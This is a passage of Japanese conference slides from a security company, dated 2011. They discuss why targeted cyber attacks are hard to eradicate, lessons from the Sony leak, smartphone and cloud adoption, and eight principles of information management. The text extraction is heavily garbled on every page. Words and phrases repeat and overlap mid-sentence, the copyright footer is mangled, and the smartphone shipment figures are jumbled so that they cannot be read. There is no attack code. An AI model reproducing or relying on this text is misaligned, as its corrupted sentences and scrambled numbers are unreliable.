e-discovery対応対応などでアーカイブなどでアーカイブはされていることはアーカイブはされていることは多はされていることは多いが、いが、調査の調査の承認プロセス
承認プロセスな
プロセスな
discovery対応などでどに、、非常時のことがどに非常時のことが考慮のことが考慮されていない
考慮されていない。
されていない。役員クラス
役員クラスがクラスが部門を部門を横断して横断して指揮して指揮を指揮を執っていないことが多ないことが多い。インシデント発生時
インシデント発生時の発生時のプロセスがプロセスが適切ではない
適切ではない。（
ではない。（証拠。（証拠の証拠の破壊）
破壊）
３．駆逐は駆逐は困難を
困難を極める
行動解析（
行動解析（検体収集機の検体収集機の設置、設置、IDS等
アーカイブ解析などなど
解析などなど）、などなど）、接続先解析）、接続先解析、
接続先解析、ログ
IDS等、アーカイブ解析
解析、
、外向き
特定、
解析
外向き通信から
通信から、から、被弾PC
被弾PC特定特定、検体抽出、
検体抽出、定義ファイル
定義ファイル作成
ファイル作成、作成、駆除（駆除（可能ならば可能ならば、
ならば、不可の不可の場合は場合は再インストール）
インストール）を行う。これを繰
これを繰り返しを行
しを行いつつ、
いつつ、駆逐確認と駆逐確認と残党狩り
残党狩り
を実施する
実施する。
する。重要なことは重要なことは、なことは、これで全部
これで全部かが全部かが分かが分からない。
からない。そのため、そのため、他の情報もほしいが情報もほしいがそのルート
そのルートがない
ルートがない。
がない。単独の単独の専門ベンダー
専門ベンダーではベンダーでは対応
では対応に対応に限界がある
限界がある。
がある。しかも、
しかも、ウイルスがいてウイルスがいても、情報を情報を取られているかもしれないけど、られているかもしれないけど、お仕事は仕事は止められない。
められない。
56

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型サイバー
標的型サイバー攻撃
サイバー攻撃の攻撃の課題 現場の
現場の悩み
４．従来の
従来のウイルス対策
ウイルス対策では対策では対応では対応が対応が困難。
困難。
従来型脅威は従来型脅威は防御（
防御（感染を
感染を止める）める）を行うことが出来
うことが出来る出来る。万一感染しても万一感染しても、しても、駆除を行えばよい。（
えばよい。（実物。（実物を
実物を早期に早期に入手できるし入手できるし、
できるし、局所的な局所的な被害が被害が出にくい。）
にくい。）
一方、一方、標的型の標的型の場合、
場合、徹底的な徹底的な原因究明が原因究明が必要となるが必要となるが、となるが、一般的に一般的に侵入経路や窃取内容などの窃取内容などの調査などの調査には
調査には被害企業には被害企業も被害企業も専門ベンダー
専門ベンダーもベンダーも実施する
実施する動機する動機が動機が薄い。さらに、
さらに、駆逐を駆逐を行うためには不正
うためには不正プログラム
不正プログラムのプログラムの機能解析や機能解析や目的調査も目的調査も必要となるが、となるが、通常、
通常、費用も費用も高額となり高額となり被害企業となり被害企業が被害企業が費用を費用を負担しない
負担しない限しない限り実施はしな
実施はしな
い。一般的に一般的に被害企業もそこそこで被害企業もそこそこで終もそこそこで終わりにして業務継続
わりにして業務継続を
業務継続を優先するため優先するため、するため、情報も共有されずに共有されずに、されずに、他の企業も企業も被害にあってしまっている
被害にあってしまっている危険性にあってしまっている危険性も危険性も高く、その点その点検を行うこともできない。
うこともできない。

全貌をつかむには全貌をつかむには一企業をつかむには一企業だけでは一企業だけでは限界
だけでは限界があるにもかか限界があるにもかかわらず、わらず、被害企業は
被害企業は決して公表して公表しない
公表しない。
しない。
57

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liソニー事件ソニー事件で事件で学ぶこと１．IT依存ビジネス
依存ビジネスのビジネスの経営
２．隔離セキュリティ
隔離セキュリティのセキュリティの崩壊
３．境界防御は
境界防御は線から円から円へ
４．グローバルビジネスのグローバルビジネスのローカル対応
ローカル対応５．これは一種
これは一種の一種の戦争かもしれない
戦争かもしれない「ソニーのソニーの情報漏えい
情報漏えい事件
えい事件で事件で我々は何を学ぶか」
ぶか」
http://www.lac.co.jp/column/20110517.html
58

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liとはいえ、とはいえ、どうすればいいのか？
どうすればいいのか？

江戸時代の
江戸時代のセキュリティ方針
セキュリティ方針

１．相互監視体制
五人組、五人組、長屋など
長屋など
２．入り鉄砲に鉄砲に、出女境界防御の
境界防御の考え方を変化！
変化！
59

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liもうひとつ！
もうひとつ！

経営再建の
経営再建の神様
稲盛さんのお稲盛さんのお言葉さんのお言葉
入るを図
るを図りて
出ずるを制
ずるを制す。
セキュリティ対策
セキュリティ対策の対策の再建もこれで再建もこれで。
もこれで。
60

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

そうそうクラウド
そうそうクラウドとクラウドとスマホ

クラウドを
クラウドを
組織で活用している
活用している？
している？
Yes?

No?

スマートフォンを
スマートフォンを組織で活用している
活用している？
している？
Yes?

No?
61

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liそうそうクラウド
そうそうクラウドとクラウドとスマホ

スマートフォンを
スマートフォンを個人で個人で活用している
活用している？
している？
Yes?

No?

クラウドを
クラウドを
個人で
個人で活用している
活用している？
している？
Yes?

No?
62

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

スマホのスマホの現状日本における
出荷予測（
新聞）
日本におけるスマートフォン
におけるスマートフォン出荷予測
スマートフォン
出荷予測
東京IT新聞新聞）
東京
IT新聞（東京IT
2010年度
2010年度 440万台
440万台 → 675万台
675万台 2.9倍
2.9倍 18.1%
2011年度
年度 1,545万台
2.3倍
2011昨年度
1,545万台
2.3倍 40.6%
2012年度
1,925万台
124% 50.1%
2012年度
1,925万台
2.9倍
2.9倍！
2015年度
63.1%
2015年度 2,410万台
2,410万台
今年
サムソン社
サムソン社
2.3倍
来年
2.3倍！
2009年
600万台
万台
2009年 ２４％
600
２４％増
2010年
2,000万台
2010年
2,000万台
2011年
6,000万台
2011年
6,000万台63

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liスマートフォンのスマートフォンの位置づけ
位置づけ
紙と
鉛筆

携帯

スマートフォン
スマホ

パソコン

タブレット

紐がない すぐ使すぐ使える紐がある すぐ使
すぐ使えないダウンサイジング
オープンシステム
EUC・EUC・使いこなし

64

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

組織と組織とスマートフォン
二つの関係
つの関係
１．組織が
組織が利活用を利活用を図りたい。
りたい。 → もろ刃
もろ刃の刃
→ 確実に
確実に、従来アプローチ
従来アプローチ
Smartphone in Jail. （檻の中のスマートフォン）
スマートフォン）２．個人が個人が利活用を利活用を図りたい。
りたい。 → 生活技術
→ 圧倒的な
圧倒的な普及速度。
普及速度。
Smartphone into Jail.（
スマートフォン）Jail.（檻に入るスマートフォン）

IT活用の活用の「民主化要求」？
民主化要求」？
スマホでスマホで出会う
出会う、業務と業務とプライベート
パソコンのパソコンの将来像？？？
将来像？？？
65

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liお付き合いの選択肢
いの選択肢
１．禁止する禁止する。
する。
→ いたちごっこ。
いたちごっこ。やっても一時的やっても一時的。
一時的。
２．黙認する
黙認する。
する。
→ あり得
← ここは多あり得ない。
ない。
ここは多い
３．すべて許可
すべて許可する許可する。（する。（受。（受け入れる）
れる）
→ 決断。
決断。
４．安全なやり安全なやり方なやり方を用意する
用意する。
する。
→ 必然だけど必然だけど、
だけど、なかなか難
なかなか難しい。
しい。
５．安全なやり安全なやり方なやり方を学習していく
学習していく。
していく。
→ ワークスタイル。
ワークスタイル。リテラシー。
リテラシー。生活を生活を守る。
66

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

そう言えば、この会社！
ちなみに有名
ちなみに有名な有名な「ディズニーランド」
ディズニーランド」
４つの行動原則
つの行動原則って存知でしょうか？
行動原則って、って、ご存知でしょうか
でしょうか？
１．安全性（安全性（Safety）
お客様の客様の安全を安全を守る。安らぎの提供
らぎの提供。
提供。
２．礼節（
礼節（Courtesy）
気遣い
気遣い。おもてなし。
おもてなし。 お客様の客様の安全を
安全を
３．成果（
成果（Show）
考慮しない
考慮しないプロ
しないプロは
プロは
有
り
得
ない。
。
ない
感動。
感動。
プロとしてのプロとしての大前提としての大前提。
大前提。
４．効率（
効率（Efficiency）→ どこまでか？
どこまでか？
67

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liこの１年の総括

IT事件の事件の一般化
１．朝ズバでズバで２．多くの普通
くの普通の
普通の事件に事件にITが絡んだ
３．取材メディア
取材メディアがメディアがストーリを
ストーリを持っている

68

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

この１年の総括

神話の神話の崩壊
１．物理的に物理的に隔離されているから隔離されているから大丈夫されているから大丈夫。
大丈夫。
２．あり得
あり得ない組織ない組織であり組織であり得であり得ないことが。
ないことが。

IT民主化の
民主化の萌芽１．ソーシャルメディア
２．スマホ＆スマホ＆クラウド
３．告発
４．サイバー市民運動
サイバー市民運動 穏健派・穏健派・強硬派→ 一種の一種の戦争と戦争と言って良
って良い。
69

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

これからの１年

２０１１年
２０１１年

予測

かのとう

辛卯

しんぼうの年
しんぼうの年

１．辛い年。我慢の我慢の年。
２．予期せぬ
予期せぬ大事故
せぬ大事故・
大事故・大災害が大災害が起きる年
きる年。
３．草木が草木が枯死して枯死して新して新しくなろうとする状態
しくなろうとする状態。
状態。
70

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

これからの１年 だから、、、

２０１１年
２０１１年

予測できません
予測できません
１．びっくりすることが起
びっくりすることが起きる。
きる。
２．あっという間あっという間に世代代わり
世代代わり。
わり。
何が死滅するのだろうか
死滅するのだろうか？
するのだろうか？
とって代とって代ったものも、ったものも、一時的。
一時的。
71

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liどうすれば？
どうすれば？
72

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

考えられているじゃないか！
えられているじゃないか！
２００９年
２００９年２月３日 内閣官房情報セキュリティセンター
内閣官房情報セキュリティセンター（NISC；
NISC；National Information Security
Center）
Center） から公開
から公開された
公開された「された「第二次情報セキュリティ
第二次情報セキュリティ基本計画
セキュリティ基本計画」。
基本計画」。

事故前提社会への事故前提社会への対応力強化
への対応力強化
これまで

１００％
１００％の安全・安全・安心の
安心の追求 → 消費者目線のつもり
消費者目線のつもり。
のつもり。
無謬性の
→ 実は提供者目線
無謬性の追求それで大人社会への大人社会への変革への変革が変革が重要。
重要。
双方の双方の責任を
責任を明示し明示しリードしていくことがリードしていくことが肝要
していくことが肝要。
肝要。
具体的には
具体的には

最悪の
最悪の事態を
事態を共有し共有し、それが起それが起きたらどうするのかを考きたらどうするのかを考える。
える。
73

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li最後に
もちろん最先端
もちろん最先端の最先端の低コ
スト防御技術
スト防御技術も
防御技術も重要。
重要。
個人や個人やSOHOのSOHOのセキュリティはただにしキュリティはただにしたい。
たい。

メガリークのメガリークの時代→ 流出は流出は避けられない。
けられない。

ステークホルダとのステークホルダとの関係
との関係
→ 正直に
正直に。お互いに敬意
いに敬意を
敬意を。
→ 社外秘を
社外秘を極力無くし極力無くし、くし、グレーなことをグレーなことを止なことを止め、満足度を
満足度を高め、万一に万一に備える。
える。

３年から５から５年で考えよう！
えよう！
→ ソーシャルメディアとソーシャルメディアとスマホがスマホが第一歩。
第一歩。

74

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

情報管理八策２０１１
情報管理八策２０１１
一、情報管理とは
情報管理とは、とは、情報の情報の「適切な
適切な利活用が利活用が目的」目的」であり、であり、組織や組織や個人を
個人を守り社会に社会に貢献するもの
貢献するものである事である事。
二、電子化された
電子化された情報
された情報に情報に接する全する全ての者ての者は、その劇的
その劇的に劇的に変化する
変化する特徴する特徴や特徴や基本的な基本的なリスクをリスクを理解し理解し、情報取り
情報取り扱いの作法
いの作法を
作法を身につけるよう努につけるよう努め、組織の組織の長はその徹底
はその徹底を徹底を図る事。
三、情報の情報の機密度や機密度や配布先、
配布先、閲覧可能場所などは閲覧可能場所などは最初などは最初に最初に決定すべきであり決定すべきであり、すべきであり、途中で途中で変更すること
変更することは極めて難
めて難しいという心構しいという心構えで心構えで臨えで臨む事。
四、あってはならぬことであっても、あってはならぬことであっても、技術的欠陥、技術的欠陥、権限保持者の権限保持者の犯罪や犯罪や告発、
告発、並びに詐欺
びに詐欺などによ詐欺などにより事故は
事故は発生するものである
発生するものである。
するものである。100%の100%の安全策は
安全策は存在しないことを存在しないことを理解しないことを理解し理解し、常に事故発生の
事故発生の備えをし
ておく事
ておく事。
五、事故を
事故を起こした者
こした者や内部告発者への
内部告発者への評価
への評価など評価など、など、情報管理の情報管理の有り様が世情により
世情により刻により刻々として変として変化していくことを踏していくことを踏まえた上
まえた上で、各組織の各組織の実情にあわせた
実情にあわせた公正妥当にあわせた公正妥当な
公正妥当な管理策を
管理策を制定する制定する事する事。
六、電子機器の電子機器の急速な急速な進化により進化により人により人々の生活や生活や働き方が大きく変化
きく変化しつづける
変化しつづける中しつづける中、情報が情報が個人と個人と組織の組織の間を区別なく
区別なく行
なく行き来することを前提することを前提に
前提に管理策を
管理策を練る事。
七、全ての組織ての組織は
組織は、その情報
その情報への情報への依存度
への依存度にあわせ依存度にあわせ、にあわせ、制度制定、制度制定、安全措置、安全措置、教育や教育や訓練の訓練の実施、実施、監査、監査、事故対応など
事故対応など、など、予防と予防と抑止の抑止の両面で両面で対策の対策の高度化を高度化を推進する推進する事する事。
八、情報管理水準の情報管理水準の向上に向上に携わる全わる全ての組織ての組織は
組織は、私たちが身
たちが身に付ける情報管理
ける情報管理の情報管理の有り様が、来る
高度情報社会における高度情報社会における、
における、わが国
わが国の成長と成長と国際的な国際的な地位確立の
地位確立の礎となることと認識となることと認識し認識し、技術と技術と意識レベルのレベルの向上に向上に努める事
める事。
※ http://www.lac.co.jp/hassaku/index.html
75

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

| 76Interop Tokyo 2011

バーチャル・フォレンジックス － 差分解析
•

そうそう、
そうそう、
弊社の
弊社の岩井が岩井が、インターロップでインターロップで、
クラウド環境クラウド環境での環境でのフォレンジックにフォレンジックに関してなんかやるらしい。
なんかやるらしい。

解析範囲を最小限にする時短テクニックを活用– スナップショットの解析– VMDKファイル（仮想HDD）の解析– VMEMファイル（仮想メモリ）の解析

インシデントの発生事実はあるか？

不正なファイルやレジストリの書
込みなどはあるか？

不正なファイルやレジストリの書
込みなどはあるか？

Copyright ©2011 Little eArth Corporation Co.,Ltd.

ありがとうございました。
ありがとうございました。

Any question ?

世界トップレベル
世界トップレベルのトップレベルのセキュリティノウハウでセキュリティノウハウで、日本の日本のスタイルをスタイルを支える。
える。

株式会社ラック株式会社
株式会社ラック
ラック
株式会社ラック

http://www.lac.co.jp/
http://www.lac.co.jp/
sales@lac.co.jp
sales@lac.co.jp

77

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li